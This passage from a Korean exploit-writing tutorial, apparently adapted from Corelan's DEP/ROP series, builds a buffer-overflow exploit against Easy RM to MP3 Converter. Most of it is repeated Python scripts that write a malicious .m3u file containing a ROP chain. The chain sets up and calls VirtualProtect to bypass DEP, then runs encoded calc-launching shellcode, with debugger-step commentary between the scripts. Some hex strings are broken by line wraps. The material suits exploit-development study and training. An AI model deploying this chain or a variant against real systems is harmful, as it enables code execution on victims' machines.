# ESI <-> EDI rop += struct.pack('<l', 0x7631982f) # XCHG ESI,EDI # DEC ECX # RETN 0x04 # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 nops1 = "\x90" * 200 calc = "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43 \x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32 \x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\ x58\x49\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54\x55\x74\x6c\x34\x66\x38\ x65\x63\x6b\x79\x6c\x71\x34\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f\x54\x 43\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x3 5\x6c\x52\x32\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70\x4d\x43\x32\x62\x5 4\x31\x4c\x37\x56\x43\x76\x50\x6d\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d \x79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61\x39\x30\x39\x4e\x36\x6e\x48\x58 \x73\x5a\x37\x63\x50\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c\x52\x6d\x38\ x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x 6a\x57\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47\x62\x43\x6e\x72\x4d\x6a\x 36\x77\x6f\x75\x78\x45\x56\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56\x67\x 54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x3 5\x54\x77\x31\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71\x42\x45\x6f\x5a\x4f\ x6d\x69\x46\x4c\x30\x65\x69\x4c\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b\ x65\x4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a\x4b\x62\x58\x49\x46\x73\x39\x4c\ x6f\x39\x71\x50\x4f\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f\x4b\x39\x4b\x3 3\x44\x4a\x4b\x58\x31\x4e\x61\x32\x32\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x6 6\x6f\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72\x73\x47\x6d\x4f\x4b\x58\x34 \x6d\x50\x32\x6e\x62\x76\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b\x6e\x6d\ x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x 67\x4d\x6c\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54\x66\x49\x31\x4b\x76\x4 d\x43\x4c\x6b\x56\x68\x42\x4d\x76\x74\x33\x79\x76\x35\x41\x41" nops2 = "C" * 300 payload = junk1 + eip + junk2 + edx + rop + nops1 + calc + nops2 f = open("rop_ex5.m3u", "wb") f.write(payload) f.close()
이번에도기존과동일하게 m3u 파일을생성하고 RETN 명령어주소에 BP 를설정 한다. 그리고익스플로잇코드의 ADD ESP,0C POP EDI,ESI,EBX RETN 가젯의 RETN 명령어까지진행한다. 리턴이되면스택포인터가저장된 EAX 레지스터값을스택에 PUSH 하고바로 EDI 레지스터에 POP 하는가젯으로이동된다. 해당가젯의실행이완료되고리턴되기 직전을보면 EAX,EDI 레지스터에스택포인터가저장되게된다. 그리고리턴되면 EAX+=100 가젯으로이동된다. 리턴되기직전의 EAX 값을보면 0010FE44 임을알수있고, 실제로해당주소는스택에삽입된쉘코드의주소 보다조금이전인것을알수있다. ( 쉘코드주소 =0010FE50) 이전가젯에서리턴되면 ESI/EDI 레지스터값이서로변경되는가젯으로이동된다. 가젯이실행되기전에는 EDI 레지스터에스택포인터값이존재했기때문에, 실행이완료되면 ESI 레지스터에스택포인터값이존재하게된다. 따라서현재레지스터의값은 EAX 쉘코드주소 ( 보다약간뒤 ), ESI 스택포인터 가된다.
리턴되면위가젯으로이동된다. 현재 ESI 레지스터에는스택포인터가저장되어 있기때문에 [ESI+10] 은 0010FD54 가된다. 해당주소는다음사진에서보듯이함수의 첫번째인자주소이다. 가젯의실행이모두종료되면결국함수의첫번째인자주소는다음처럼쉘코드 주소가들어가게된다. 성공적으로첫번째인자를위한 ROP 코드를작성했으니이제두번째인자차례이다. 두번째인자는보호수준이실행가능으로바뀐영역의시작주소를가리켜야하기때문에결국첫번째인자와동일한쉘코드주소를의미한다. 따라서첫번째인자의 ROP 코드와비슷하게만들면된다. 다행히 EAX 레지스터에초기에저장된스택포인터값이있기때문에해당레지스터를이용하면된다. 첫번째인자코드때와마찬가지로스택포인터를 2 개의레지스터에저장해야 한다. 이를위해 EAX 값을 ESI 에저장해주는가젯을이용할것이다. 0x76a6177f : # PUSH EAX # POP ESI # RETN
그리고이전처럼쉘코드위치를지정해주는가젯과, 해당값을두번째인자위치에 넣는가젯이필요하다. 일단쉘코드위치가젯은기존에사용한걸그대로사용한다. 0x1002dc4c : # ADD EAX,100 # POP EBP # RETN 그리고두번째인자는첫번째인자의위치 (ESI+10) 보다 4 바이트큰곳에위치 하기때문에, 미리 ESI 값을 +4 한뒤, 기존에사용했던가젯을사용하면된다. 0x7e953b60 : # INC ESI # RETN <- 4 번수행 패딩필요 0x76e81b3a : # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN 위가젯을포함하는익스플로잇코드는다음과같다. #coding:utf-8 import struct junk1 = "A" * 26044 eip = struct.pack('<l', 0x1002A21E) # retn 명령어 junk2 = "AAAA" # 패딩 # edx 사용가능하게변경 edx = "" edx += struct.pack('<l', 0x1001bf0d) # ADC EDX,ESI # POP ESI # RETN edx += "AAAA" # ESI = ESP rop = "" rop += struct.pack('<l', 0x1002e892) # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN # EAX = ESI rop += struct.pack('<l', 0x1002e428) # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # pop esi 패딩 # VirtualProtect() 뛰어넘기위한코드 rop += struct.pack('<l', 0x10018ec0) # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN
# ROP - VirtualProtect 코드 --------------------------------------------- rop += struct.pack('<l', 0x7C7D1AD4) # 실제주소 rop += "WWWW" # return addr - param 1 rop += "XXXX" # lpaddr - param 2 rop += "YYYY" # size - param3 rop += "ZZZZ" # flnewprotect - param4 rop += struct.pack('<l', 0x10069d37) # writable add # ROP2 - VirtualProtect_param1_retun_address ----------------------------------------------------------- # EAX -> EDI rop += struct.pack('<l', 0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop += "AAAA" * 2 # POP ESI/EBI 패딩 # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # ESI <-> EDI rop += struct.pack('<l', 0x7631982f) # XCHG ESI,EDI # DEC ECX # RETN 0x04 # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" * 2 # POP ESI, RETN 패딩 # ROP3 - VirtualProtect_param2_lpaddress --------------------------------------------------------------- # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP
# INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 nops1 = "\x90" * 200 calc = "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\ x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\ x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\x 58\x49\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54\x55\x74\x6c\x34\x66\x38\x 65\x63\x6b\x79\x6c\x71\x34\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f\x54\x4 3\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35\ x6c\x52\x32\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70\x4d\x43\x32\x62\x54\x 31\x4c\x37\x56\x43\x76\x50\x6d\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d\x7 9\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61\x39\x30\x39\x4e\x36\x6e\x48\x58\x7 3\x5a\x37\x63\x50\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c\x52\x6d\x38\x33 \x33\x43\x6e\x48\x50\x4d\x47\x48\x6a\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x6a\x 57\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47\x62\x43\x6e\x72\x4d\x6a\x36\x7 7\x6f\x75\x78\x45\x56\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56\x67\x54\x6f\ x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54\x 77\x31\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71\x42\x45\x6f\x5a\x4f\x6d\x69 \x46\x4c\x30\x65\x69\x4c\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b\x65\x4d\ x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x39\x 71\x50\x4f\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f\x4b\x39\x4b\x33\x44\x4a \x4b\x58\x31\x4e\x61\x32\x32\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x66\x6f\x4f\x 7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72\x73\x47\x6d\x4f\x4b\x58\x34\x6d\x50\x3 2\x6e\x62\x76\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b\x6e\x6d\x77\x6d\x78\ x52\x4f\x6f\x71\x34\x49\x4d\x71\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x6c\x6 c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54\x66\x49\x31\x4b\x76\x4d\x43\x4c\x6b\ x56\x68\x42\x4d\x76\x74\x33\x79\x76\x35\x41\x41" nops2 = "C" * 300 payload = junk1 + eip + junk2 + edx + rop + nops1 + calc + nops2
f = open("rop_ex6.m3u", "wb") f.write(payload) f.close() 기존과동일하게 m3u 파일생성, RETN 명령어 BP 설정, 분석작업을시작한다. 쭉쭉실행하다보면위와같은가젯까지이동된다. 첫번째인자코드에서값을복사하기위해사용했던가젯이지만지금은가젯이전에 INC ESI * 4번의명령어를실행했기때문에 ESI 레지스터값이 [ 스택포인터 +14] 라고할수있다. 즉두번째인자의주소이다. 여기까지별문제없이진행되었다면세번째인자 ROP 코드를작성할차례이다. 참고로사용하는가젯이비슷하기때문에네번째인자 ROP 코드까지한번에작성할것이다. 일단각각의인자들은다음과같은의미와값을가진다. 3 실행할메모리영역의크기 ( 쉘코드크기 실습에서는대충 400 사용 ) 4 대상메모리영역의새로운보호수준 ( 40 사용 ) 일단세번째인자를위한 ROP 가젯을모아보면다음과같다. 0x76a6177f : # PUSH EAX # POP ESI # RETN 0x7d700907 : # XOR EAX,EAX # RETN 0x1002dc4c : # ADD EAX,100 # POP EBP # RETN 4 번수행
0x7e953b60 : # INC ESI # RETN 4 번수행 0x76e81b3a : # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN 가젯 1 EAX( 스택포인터 ) 값을 ESI 레지스터에저장가젯 2 - EAX 레지스터초기화가젯 3 EAX 레지스터값 = 400, 패딩필요가젯 4 ESI 레지스터값 += 4 ==> 세번째인자는두번째인자주소의 +4 주소가젯 5 세번째인자의주소에 0x400 복사 참고로네번째인자역시하나의가젯만제외하고모두동일하다. 세번째인자 가젯을그대로사용하되, 가젯 3 을다음가젯으로변경한다. 0x7c9a4ed8 : # ADD EAX,40 # POP EBP # RETN 위가젯들을포함하는익스플로잇코드는다음과같다. #coding:utf-8 import struct junk1 = "A" * 26044 eip = struct.pack('<l', 0x1002A21E) # retn 명령어 junk2 = "AAAA" # 패딩 # edx 사용가능하게변경 edx = "" edx += struct.pack('<l', 0x1001bf0d) # ADC EDX,ESI # POP ESI # RETN edx += "AAAA" # ESI = ESP rop = "" rop += struct.pack('<l', 0x1002e892) # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN # EAX = ESI rop += struct.pack('<l', 0x1002e428) # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # pop esi 패딩 # VirtualProtect() 뛰어넘기위한코드 rop += struct.pack('<l', 0x10018ec0) # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN
# ROP - VirtualProtect 코드 ----------------------------------------------- rop += struct.pack('<l', 0x7C7D1AD4) # 실제주소 rop += "WWWW" # return addr - param 1 rop += "XXXX" # lpaddr - param 2 rop += "YYYY" # size - param3 rop += "ZZZZ" # flnewprotect - param4 rop += struct.pack('<l', 0x10069d37) # writable add # ROP2 - VirtualProtect_param1_retun_address ------------------------------- # EAX -> EDI rop += struct.pack('<l', 0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop += "AAAA" * 2 # POP ESI/EBI 패딩 # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # ESI <-> EDI rop += struct.pack('<l', 0x7631982f) # XCHG ESI,EDI # DEC ECX # RETN 0x04 # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" * 2 # POP ESI, RETN 패딩 # ROP3 - VirtualProtect_param2_lpaddress ----------------------------------- # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # INC ESI * 4 # INC ESI # RETN
# EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 # ROP4 - VirtualProtect_param3_size ---------------------------------------- # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX = 0 rop += struct.pack('<l', 0x7d700907) # XOR EAX,EAX # RETN # EAX += 100 * 4 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" # INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 # ROP5 - VirtualProtect_param4_flNewProtect ------------------------------- # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN
# EAX = 0 rop += struct.pack('<l', 0x7d700907) # XOR EAX,EAX # RETN # EAX = 40 rop += struct.pack('<l', 0x7c9a4ed8) # ADD EAX,40 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 nops1 = "\x90" * 200 calc = "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43 \x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32 \x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\ x58\x49\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54\x55\x74\x6c\x34\x66\x38\ x65\x63\x6b\x79\x6c\x71\x34\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f\x54\x 43\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x3 5\x6c\x52\x32\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70\x4d\x43\x32\x62\x5 4\x31\x4c\x37\x56\x43\x76\x50\x6d\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d \x79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61\x39\x30\x39\x4e\x36\x6e\x48\x58 \x73\x5a\x37\x63\x50\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c\x52\x6d\x38\ x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x 6a\x57\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47\x62\x43\x6e\x72\x4d\x6a\x 36\x77\x6f\x75\x78\x45\x56\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56\x67\x 54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x3 5\x54\x77\x31\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71\x42\x45\x6f\x5a\x4f\ x6d\x69\x46\x4c\x30\x65\x69\x4c\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b\ x65\x4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a\x4b\x62\x58\x49\x46\x73\x39\x4c\ x6f\x39\x71\x50\x4f\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f\x4b\x39\x4b\x3 3\x44\x4a\x4b\x58\x31\x4e\x61\x32\x32\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x6 6\x6f\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72\x73\x47\x6d\x4f\x4b\x58\x34 \x6d\x50\x32\x6e\x62\x76\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b\x6e\x6d\ x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x 67\x4d\x6c\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54\x66\x49\x31\x4b\x76\x4 d\x43\x4c\x6b\x56\x68\x42\x4d\x76\x74\x33\x79\x76\x35\x41\x41"
nops2 = "C" * 300 payload = junk1 + eip + junk2 + edx + rop + nops1 + calc + nops2 f = open("rop_ex7.m3u", "wb") f.write(payload) f.close() m3u 파일을생성하고분석을하면다음과같이모든인자값들이정상적으로수정된것을볼수있다. 네번째인자의마지막가젯의실행이완료되면우측하단에서보는것처럼모든 인자가정상적으로수정된것을볼수있다. 이제 ROP 코드작성에있어마지막으로 해야할일은 VirtualProtect() 함수를호출하는것이다. 위사진의스택창에서보면 VirtualProtect 함수의주소가 0010FD50 인것을 볼수있는데운좋게도 EAX 레지스터에서해당주소를가리키고있다. 따라서 EAX 값을 ESP 로복사하고 RETN 명령어를실행하면해당함수를호출하게된다. 0x77e4a888 : # XCHG EAX,ESP # RETN 모든인자를수정하고, 수정한인자를취하는 VirtualProtect 함수를호출하는가젯 까지추가한최종익스플로잇코드는다음과같다.
#coding:utf-8 import struct junk1 = "A" * 26044 eip = struct.pack('<l', 0x1002A21E) # retn 명령어 junk2 = "AAAA" # 패딩 # edx 사용가능하게변경 edx = "" edx += struct.pack('<l', 0x1001bf0d) # ADC EDX,ESI # POP ESI # RETN edx += "AAAA" # ESI = ESP rop = "" rop += struct.pack('<l', 0x1002e892) # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN # EAX = ESI rop += struct.pack('<l', 0x1002e428) # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # pop esi 패딩 # VirtualProtect() 뛰어넘기위한코드 rop += struct.pack('<l', 0x10018ec0) # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN # ROP - VirtualProtect 코드 ------------------------------------------------- rop += struct.pack('<l', 0x7C7D1AD4) # 실제주소 rop += "WWWW" # return addr - param 1 rop += "XXXX" # lpaddr - param 2 rop += "YYYY" # size - param3 rop += "ZZZZ" # flnewprotect - param4 rop += struct.pack('<l', 0x10069d37) # writable add => 다음페이지계속
# ROP2 - VirtualProtect_param1_retun_address -------------------------------- # EAX -> EDI rop += struct.pack('<l', 0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop += "AAAA" * 2 # POP ESI/EBI 패딩 # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # ESI <-> EDI rop += struct.pack('<l', 0x7631982f) # XCHG ESI,EDI # DEC ECX # RETN 0x04 # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" * 2 # POP ESI, RETN 패딩 # ROP3 - VirtualProtect_param2_lpaddress ----------------------------------- # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 # INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩
# ROP4 - VirtualProtect_param3_size ---------------------------------------- # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX = 0 rop += struct.pack('<l', 0x7d700907) # XOR EAX,EAX # RETN # EAX += 100 * 4 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩 rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" rop += struct.pack('<l', 0x1002dc4c) rop += "AAAA" # INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 # ROP5 - VirtualProtect_param4_flNewProtect --------------------------------- # EAX -> ESI rop += struct.pack('<l', 0x76a6177f) # PUSH EAX # POP ESI # RETN # EAX = 0 rop += struct.pack('<l', 0x7d700907) # XOR EAX,EAX # RETN # EAX = 40 rop += struct.pack('<l', 0x7c9a4ed8) # ADD EAX,40 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩
# INC ESI * 4 # INC ESI # RETN # EAX -> [ESI] rop += struct.pack('<l', 0x76e81b3a) # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # POP ESI 패딩 # ROP6 - JMP to VirtualProtect rop += struct.pack('<l', 0x77e4a888) # XCHG EAX,ESP # RETN nops1 = "\x90" * 200 calc = "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43 \x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\ x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\x 58\x49\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54\x55\x74\x6c\x34\x66\x38\x 65\x63\x6b\x79\x6c\x71\x34\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f\x54\x4 3\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35 \x6c\x52\x32\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70\x4d\x43\x32\x62\x54\ x31\x4c\x37\x56\x43\x76\x50\x6d\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d\x 79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61\x39\x30\x39\x4e\x36\x6e\x48\x58\x 73\x5a\x37\x63\x50\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c\x52\x6d\x38\x3 3\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x6a\ x57\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47\x62\x43\x6e\x72\x4d\x6a\x36\x 77\x6f\x75\x78\x45\x56\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56\x67\x54\x6 f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54 \x77\x31\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71\x42\x45\x6f\x5a\x4f\x6d\x 69\x46\x4c\x30\x65\x69\x4c\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b\x65\x 4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x3 9\x71\x50\x4f\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f\x4b\x39\x4b\x33\x44\ x4a\x4b\x58\x31\x4e\x61\x32\x32\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x66\x6f\x 4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72\x73\x47\x6d\x4f\x4b\x58\x34\x6d\x5 0\x32\x6e\x62\x76\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b\x6e\x6d\x77\x6d \x78\x52\x4f\x6f\x71\x34\x49\x4d\x71\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x 6c\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54\x66\x49\x31\x4b\x76\x4d\x43\x4 c\x6b\x56\x68\x42\x4d\x76\x74\x33\x79\x76\x35\x41\x41"
nops2 = "C" * 300 payload = junk1 + eip + junk2 + edx + rop + nops1 + calc + nops2 f = open("rop_ex8.m3u", "wb") f.write(payload) f.close() m3u 파일을생성하고 Easy RM to MP3 Converter 를실행한뒤디버거에 attach 하지않고생성된 m3u 파일을실행하면계산기가정상적으로실행된다. 참고자료 1. [ 원문 ] Exploit Writing Tutorial 10 Chaining DEP with ROP by Corelan 2. [ 번역 ] 공격코드작성따라하기 10 ROP - 한국정보보호교육센터서준석 3. http://noplanlife.com/?p=465 4. http://hyunmini.tistory.com/30